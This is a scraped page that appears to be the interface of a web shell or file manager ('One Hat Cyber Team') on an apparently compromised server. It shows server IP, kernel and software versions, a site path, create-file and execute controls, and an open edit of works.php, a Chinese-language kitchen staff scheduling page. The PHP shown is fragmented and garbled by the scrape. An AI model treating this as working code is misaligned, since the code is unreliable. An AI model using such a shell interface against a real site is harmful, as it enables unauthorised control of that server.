⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.124
Server IP:
50.28.103.30
Server:
Linux host.jcukjv-lwsites.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
Server Software:
nginx/1.28.0
PHP Version:
8.3.12
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
sd.electronharmony.com
/
Edit File: works.php
Admin & Dashboard
Light
Dark
Auto
你好,"echo .$username;"'; // echo "欢迎回来,".$usernames; echo '
' .$user_email . '
'; echo '
' . date('Y-m-d H:i:s') . '
'; }else{ echo '
未登录
'; date_default_timezone_set('America/Los_angeles'); echo '
' . date('Y-m-d H:i:s') . '
'; } ?>
首页
'; echo '
排班表
'; echo '
POT
'; echo '
DWD
'; echo '
'; echo '
'; echo '
Logout
'; ?>
安排休息
'; } ?>
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
Sunday
Action
connect_error) { die("连接失败: " . $conn->connect_error); } // Helper function to generate the badge HTML function getBadge($status) { $classes = [ "AM" => "badge bg-primary-subtle text-primary", "PM" => "badge bg-secondary-subtle text-secondary", "OFF" => "badge bg-warning-subtle text-warning", "请假" => "badge bg-info-subtle text-info", "旷工" => "badge bg-danger-subtle text-danger", ]; $class = $classes[$status] ?? "badge bg-secondary-subtle text-secondary"; return '
' . $status . '
'; } // 查询数据 $sql = "SELECT * FROM week_days ORDER BY id DESC"; $result = $conn->query($sql); // 检查结果 if ($result->num_rows > 0) { // 输出数据 while ($row = $result->fetch_assoc()) { echo '
'; echo '
' . $row["monday"] . getBadge($row["a"]) . '
'; echo '
' . $row["tuesday"] . getBadge($row["b"]) . '
'; echo '
' . $row["wednesday"] . getBadge($row["c"]) . '
'; echo '
' . $row["thursday"] . getBadge($row["d"]) . '
'; echo '
' . $row["friday"] . getBadge($row["f"]) . '
'; echo '
' . $row["saturday"] . getBadge($row["g"]) . '
'; echo '
' . $row["sunday"] . getBadge($row["h"]) . '
'; // Assuming you meant "sunday" here // Check if the user is logged in and their email is 'admin@kitchen.com' if (isset($_SESSION['user_email']) && $_SESSION['user_email'] === 'admin@kitchen.com') { // Display the
tag echo '
'; } else { // Optionally, display an empty cell or other content if the user is not 'admin@kitchen.com' echo '
x
'; } echo '
'; } } else { echo "0 结果"; } // 关闭数据库连接 $conn->close(); ?>
' . $current_date_time . ' (' . $current_day_of_week . ')
'; ?>
添加
'; } ?>
修改数据
添加数据
Edit Board
姓名
休息日
上班
休息
请假
旷工
上班时间
任务1
任务2
任务3
任务4
任务5
下班时间
是否完成任务
No
Yes
提交
Delete the task?
If you delete the task it will be gone forever. Are you sure you want to proceed?
Delete
Simpan